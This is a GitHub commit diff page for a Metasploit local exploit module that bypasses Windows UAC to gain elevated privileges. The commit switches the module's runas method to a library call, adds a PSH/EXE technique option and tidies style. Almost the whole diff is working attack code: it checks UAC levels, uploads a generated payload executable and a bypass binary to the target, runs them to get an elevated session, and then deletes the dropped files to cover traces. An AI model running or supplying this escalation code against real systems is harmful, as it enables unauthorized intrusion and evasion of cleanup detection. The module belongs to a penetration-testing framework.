Skip to content

Commit add5cef

Browse files
committed
Change runas method to use lib
Changed runas method to use the new runas lib. Also did some rubocop changes.
1 parent df98098 commit add5cef

File tree

1 file changed

+33
-32
lines changed

1 file changed

+33
-32
lines changed

modules/exploits/windows/local/bypassuac.rb

Lines changed: 33 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -4,17 +4,17 @@
44
##
55

66
require 'msf/core'
7-
require 'msf/core/exploit/exe'
87

98
class Metasploit3 < Msf::Exploit::Local
109
Rank = ExcellentRanking
1110

1211
include Exploit::EXE
1312
include Post::File
1413
include Post::Windows::Priv
14+
include Post::Windows::Runas
1515

1616
def initialize(info={})
17-
super( update_info( info,
17+
super( update_info(info,
1818
'Name' => 'Windows Escalate UAC Protection Bypass',
1919
'Description' => %q{
2020
This module will bypass Windows UAC by utilizing the trusted publisher
@@ -23,9 +23,9 @@ def initialize(info={})
2323
},
2424
'License' => MSF_LICENSE,
2525
'Author' => [
26-
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
27-
'mitnick',
28-
'mubix' # Port to local exploit
26+
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
27+
'mitnick',
28+
'mubix' # Port to local exploit
2929
],
3030
'Platform' => [ 'win' ],
3131
'SessionTypes' => [ 'meterpreter' ],
@@ -40,6 +40,11 @@ def initialize(info={})
4040
'DisclosureDate'=> "Dec 31 2010"
4141
))
4242

43+
register_options([
44+
OptEnum.new('TECHNIQUE', [true, 'Technique to use if UAC is turned off',
45+
'EXE', %w(PSH EXE)]),
46+
])
47+
4348
end
4449

4550
def check_permissions!
@@ -54,12 +59,12 @@ def check_permissions!
5459
if admin_group
5560
print_good('Part of Administrators group! Continuing...')
5661
else
57-
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
62+
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
5863
end
5964
end
6065

6166
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
62-
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
67+
fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
6368
end
6469
end
6570

@@ -72,8 +77,8 @@ def exploit
7277
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
7378
)
7479
when UAC_DEFAULT
75-
print_good "UAC is set to Default"
76-
print_good "BypassUAC can bypass this setting, continuing..."
80+
print_good 'UAC is set to Default'
81+
print_good 'BypassUAC can bypass this setting, continuing...'
7782
when UAC_NO_PROMPT
7883
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
7984
runas_method
@@ -89,15 +94,13 @@ def exploit
8994
pid = cmd_exec_get_pid(cmd)
9095

9196
::Timeout.timeout(30) do
92-
until session_created? do
93-
select(nil,nil,nil,1)
94-
end
97+
select(nil, nil, nil, 1) until session_created?
9598
end
9699
session.sys.process.kill(pid)
97100
# delete the uac bypass payload
98101
file_rm(path_bypass)
99102
file_rm("#{expand_path("%TEMP%")}\\tior.exe")
100-
cmd_exec("cmd.exe", "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
103+
cmd_exec('cmd.exe', "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
101104
end
102105

103106
def path_bypass
@@ -109,24 +112,24 @@ def path_payload
109112
end
110113

111114
def upload_binaries!
112-
print_status("Uploaded the agent to the filesystem....")
115+
print_status('Uploaded the agent to the filesystem....')
113116
#
114117
# Generate payload and random names for upload
115118
#
116119
payload = generate_payload_exe
117120

118121
# path to the bypassuac binary
119-
path = ::File.join(Msf::Config.data_directory, "post")
122+
path = ::File.join(Msf::Config.data_directory, 'post')
120123

121124
# decide, x86 or x64
122125
bpexe = nil
123126
if sysinfo["Architecture"] =~ /x64/i
124-
bpexe = ::File.join(path, "bypassuac-x64.exe")
127+
bpexe = ::File.join(path, 'bypassuac-x64.exe')
125128
else
126-
bpexe = ::File.join(path, "bypassuac-x86.exe")
129+
bpexe = ::File.join(path, 'bypassuac-x86.exe')
127130
end
128131

129-
print_status("Uploading the bypass UAC executable to the filesystem...")
132+
print_status('Uploading the bypass UAC executable to the filesystem...')
130133

131134
begin
132135
#
@@ -143,37 +146,35 @@ def upload_binaries!
143146
end
144147

145148
def runas_method
146-
payload = generate_payload_exe
147-
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
148-
tmpdir = expand_path("%TEMP%")
149-
tempexe = tmpdir + "\\" + payload_filename
150-
write_file(tempexe, payload)
151-
print_status("Uploading payload: #{tempexe}")
152-
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
153-
print_status("Payload executed")
149+
case datastore['TECHNIQUE']
150+
when 'PSH'
151+
# execute PSH
152+
shell_execute_psh
153+
when 'EXE'
154+
# execute EXE
155+
shell_execute_exe
156+
end
154157
end
155158

156159
def validate_environment!
157160
fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
158161
#
159162
# Verify use against Vista+
160163
#
161-
winver = sysinfo["OS"]
164+
winver = sysinfo['OS']
162165

163166
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
164167
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
165168
end
166169

167170
if is_uac_enabled?
168-
print_status "UAC is Enabled, checking level..."
171+
print_status 'UAC is Enabled, checking level...'
169172
else
170173
if is_in_admin_group?
171-
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
174+
fail_with(Exploit::Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
172175
else
173-
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
176+
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
174177
end
175178
end
176179
end
177-
178-
179180
end

0 commit comments

Comments
 (0)